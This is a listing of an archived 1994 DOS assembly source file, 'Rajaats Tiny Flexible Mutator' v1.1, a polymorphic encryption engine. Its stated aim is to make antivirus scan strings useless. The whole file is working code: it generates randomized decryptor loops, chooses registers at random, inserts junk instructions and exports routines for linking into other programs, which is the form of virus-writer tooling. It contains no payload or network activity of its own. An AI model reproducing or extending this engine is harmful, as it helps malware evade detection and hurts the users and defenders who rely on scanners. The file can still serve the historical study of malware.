home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / RJUPDAT2.ZIP / RTFM11.ZIP / RME11.ASM next >
Assembly Source File  |  1995-12-17  |  10KB  |  325 lines

  1. ;------------------------------------------------------------------------------
  2. ;
  3. ; Rajaats Tiny Flexible Mutator (RTFM) V1.1 (C) 1994 by Rajaat
  4. ;
  5. ; Purpose : making it impossible to use scan strings
  6. ;
  7. ; Input :
  8. ;       DS:SI   = piece of code to encrypt
  9. ;       ES:SI   = place of decryptor+encrypted code
  10. ;       CX      = length of code (include the mutator (mut_len))
  11. ;       BX      = offset of decryptor in file
  12. ;       AX      = flag bits
  13. ;                       0 = 1 do not use junk code
  14. ; Output :
  15. ;       DS:DX   = place of decryptor+encrypted code
  16. ;       CX      = length of encrypted code+decryptor
  17. ;       BP      = preserved
  18. ;       Other registers might be trashed
  19. ;
  20. ; History :
  21. ;       1.0     initial version
  22. ;       1.1     the decrease counter can get an add or sub
  23. ;               the increase pointer can get an add or sub
  24. ;               added random byte operation with one register as trash function
  25. ;
  26. ;------------------------------------------------------------------------------
  27. SMART
  28. JUMPS
  29.  
  30. _text           segment 'text'
  31.                 assume cs:_text
  32.  
  33. .radix 16
  34.  
  35.                 public mut_top
  36.                 public mut_bottom
  37.                 public mut_len
  38.                 public rnd_init
  39.                 public rnd_get
  40.                 public mutate
  41.  
  42. dos_get_time    equ 2c
  43. dos_get_date    equ 2a
  44.  
  45. mut_bottom      = $
  46. reg             enum    _ax,_cx,_dx,_bx,_sp,_bp,_si,_di
  47.  
  48. seed            dw 0
  49. count           dw 0
  50. ofs             dw 0
  51. dest            dw 0
  52. indexbyte       db 00000000b
  53. countbyte       db 00000000b
  54. process         db 00000000b    ; bit 0 : 1 = count register set up
  55.                                 ;     1 : 1 = index register set up
  56.                                 ;     2 : 1 = don't use junk code
  57.  
  58. decraddr        dw 0
  59. loopaddr        dw 0
  60.  
  61. opertab         db 30,0,28
  62. trash           equ $
  63.                 cmc
  64.                 clc
  65.                 stc
  66.                 nop
  67.  
  68. mutate:         push bp
  69.                 push ds
  70.                 push es
  71.                 push si
  72.                 call mut_delta
  73. mut_delta:      pop bp
  74.                 sub bp,offset mut_delta
  75.                 mov byte ptr cs:[process][bp],0
  76.                 mov byte ptr cs:[indexbyte][bp],0
  77.                 mov byte ptr cs:[countbyte][bp],0
  78.                 mov word ptr cs:[count][bp],cx
  79.                 mov word ptr cs:[ofs][bp],bx
  80.                 mov word ptr cs:[dest][bp],di
  81.                 test al,1
  82.                 jnz usejunk
  83.                 or byte ptr cs:[process][bp],4
  84. usejunk:        call rnd_init
  85. setaction:      mov al,byte ptr cs:[process][bp]
  86.                 and al,3
  87.                 cmp al,3
  88.                 jz setregsok
  89.                 jmp setregs
  90. setregsok:      call insert_trash
  91.                 mov word ptr cs:[loopaddr][bp],di
  92.                 mov ax,802e
  93.                 stosw
  94. getoper:        call rnd_get
  95.                 and ax,3
  96.                 or al,al
  97.                 jz getoper
  98.                 mov bx,ax
  99.                 add bx,bp
  100.                 push ds
  101.                 push cs
  102.                 pop ds
  103.                 lea si,opertab[bx-1]
  104.                 lodsb
  105.                 pop ds
  106.                 mov byte ptr cs:[action][bp],al
  107.                 cmp al,30
  108.                 jz noaddsubflip
  109.                 xor byte ptr cs:[action][bp],28
  110. noaddsubflip:   add al,byte ptr cs:[indexbyte][bp]
  111.                 test al,4
  112.                 jnz toomuch
  113.                 xor al,6
  114. toomuch:        xor al,2
  115.                 stosb
  116.                 call rnd_get
  117.                 stosb
  118.                 push ax
  119.                 call insert_trash
  120.                 call rnd_get
  121.                 test al,1
  122.                 jnz ptrinc
  123.                 test al,2
  124.                 jnz ptrsub
  125.                 mov ax,0c083
  126.                 add ah,byte ptr cs:[indexbyte][bp]
  127.                 stosw
  128.                 mov al,01
  129.                 stosb
  130.                 jmp makecount
  131. ptrsub:         mov ax,0e883
  132.                 add ah,byte ptr cs:[indexbyte][bp]
  133.                 stosw
  134.                 mov al,0ffh
  135.                 stosb
  136.                 jmp makecount
  137. ptrinc:         mov al,40
  138.                 add al,byte ptr cs:[indexbyte][bp]
  139.                 stosb
  140. makecount:      call insert_trash
  141.                 call rnd_get
  142.                 test al,1
  143.                 jnz countdec
  144.                 test al,2
  145.                 jnz countsub
  146.                 mov ax,0c083
  147.                 add ah,byte ptr cs:[countbyte][bp]
  148.                 stosw
  149.                 mov al,0ff
  150.                 stosb
  151.                 jmp makeloop
  152. countsub:       mov ax,0e883
  153.                 add ah,byte ptr cs:[countbyte][bp]
  154.                 stosw
  155.                 mov al,01
  156.                 stosb
  157.                 jmp makeloop
  158. countdec:       mov al,48
  159.                 add al,byte ptr cs:[countbyte][bp]
  160.                 stosb
  161. makeloop:       mov al,75
  162.                 stosb
  163.                 mov ax,word ptr cs:[loopaddr][bp]
  164.                 sub ax,di
  165.                 dec ax
  166.                 stosb
  167.                 call insert_trash
  168.                 mov ax,di
  169.                 sub ax,word ptr cs:[dest][bp]
  170.                 add ax,word ptr cs:[ofs][bp]
  171.                 push di
  172.                 mov di,word ptr cs:[decraddr][bp]
  173.                 stosw
  174.                 pop di
  175.                 pop ax
  176.                 xchg al,ah
  177.                 pop si
  178.                 mov cx,word ptr cs:[count][bp]
  179. encrypt:        lodsb
  180. action          equ $
  181.                 db 0,0e0
  182.                 stosb
  183.                 loop encrypt
  184.                 mov cx,di
  185.                 mov dx,word ptr cs:[dest][bp]
  186.                 sub cx,dx
  187.                 pop es
  188.                 pop ds
  189.                 pop bp
  190.                 ret
  191.  
  192. setregs:        call insert_trash
  193.                 call rnd_get
  194.                 test al,1
  195.                 jnz firstcount
  196.                 testflag byte ptr cs:[process][bp],2
  197.                 jnz return
  198.                 setflag byte ptr cs:[process][bp],2
  199.                 call set_index
  200.                 jmp setaction
  201. firstcount:     testflag byte ptr cs:[process][bp],1
  202.                 jnz return
  203.                 setflag byte ptr cs:[process][bp],1
  204.                 call set_count
  205. return:         jmp setaction
  206.  
  207. set_index:      call rnd_get
  208.                 and al,1
  209.                 or al,6
  210.                 test ah,1
  211.                 jz nobx
  212.                 mov al,_bx
  213. nobx:           cmp al,byte ptr cs:[countbyte][bp]
  214.                 jz set_index
  215.                 mov byte ptr cs:[indexbyte][bp],al
  216.                 add al,0b8
  217.                 stosb
  218.                 mov word ptr cs:[decraddr][bp],di
  219.                 stosw
  220.                 ret
  221.  
  222. set_count:      call rnd_get
  223.                 and al,7
  224.                 cmp al,byte ptr cs:[indexbyte][bp]
  225.                 jz set_count
  226.                 cmp al,_sp
  227.                 jz set_count
  228.                 mov byte ptr cs:[countbyte][bp],al
  229.                 add al,0b8
  230.                 stosb
  231.                 mov ax,word ptr cs:[count][bp]
  232.                 stosw
  233.                 ret
  234.  
  235. insert_trash:   test byte ptr cs:[process][bp],4
  236.                 jnz trasher
  237.                 ret
  238. trasher:        call rnd_get
  239.                 test ah,1
  240.                 jnz specialtrash
  241.                 and ax,3
  242.                 or ax,ax
  243.                 jz trash_done
  244.                 mov cx,ax
  245. more_trash:     call rnd_get
  246.                 and ax,3
  247.                 lea bx,trash[bp]
  248.                 add bx,ax
  249.                 mov al,byte ptr cs:[bx]
  250.                 stosb
  251.                 loop more_trash
  252. trash_done:     ret
  253. specialtrash:   call rnd_get
  254.                 and al,7
  255.                 cmp al,_sp
  256.                 jz specialtrash
  257.                 cmp al,byte ptr cs:[indexbyte][bp]
  258.                 je specialtrash
  259.                 cmp al,byte ptr cs:[countbyte][bp]
  260.                 je specialtrash
  261.                 test ah,1
  262.                 jz domov
  263.                 test ah,2
  264.                 jz doinc
  265.                 test ah,4
  266.                 jz dodec
  267.                 mov al,083
  268.                 stosb
  269. regtrash:       call rnd_get
  270.                 mov ah,al
  271.                 and al,7
  272.                 cmp al,_sp
  273.                 jz regtrash
  274.                 cmp al,byte ptr cs:[indexbyte][bp]
  275.                 jz regtrash
  276.                 cmp al,byte ptr cs:[countbyte][bp]
  277.                 jz regtrash
  278.                 mov al,ah
  279.                 or al,0c0
  280.                 stosb
  281.                 call rnd_get
  282.                 stosb
  283.                 ret
  284. dodec:          add al,8
  285. doinc:          add al,40
  286.                 stosb
  287.                 ret
  288. domov:          add al,0b8
  289. storeit:        stosb
  290.                 call rnd_get
  291.                 stosw
  292.                 ret
  293.  
  294. rnd_init:       mov ah,dos_get_time
  295.                 int 21
  296.                 xor cx,dx
  297.                 mov word ptr cs:[seed][bp],cx
  298.                 mov ah,dos_get_date
  299.                 int 21
  300.                 mov cl,al
  301.                 rcr dx,cl
  302.                 not dx
  303.                 sbb word ptr cs:[seed][bp],dx
  304.                 ret
  305. rnd_get:        push bx
  306.                 mov bx,word ptr cs:[seed][bp]
  307.                 in al,40
  308.                 xchg ah,al
  309.                 in al,40
  310.                 xor ax,bx
  311.                 sbb ax,bx
  312.                 ror ax,1
  313.                 mov word ptr cs:[seed][bp],ax
  314.                 pop bx
  315.                 ret
  316.  
  317.                 db '[RTFM]'
  318.  
  319. mut_top         = $
  320. mut_len         = mut_top-mut_bottom+0fh
  321.  
  322. _text           ends
  323. end
  324.  
  325.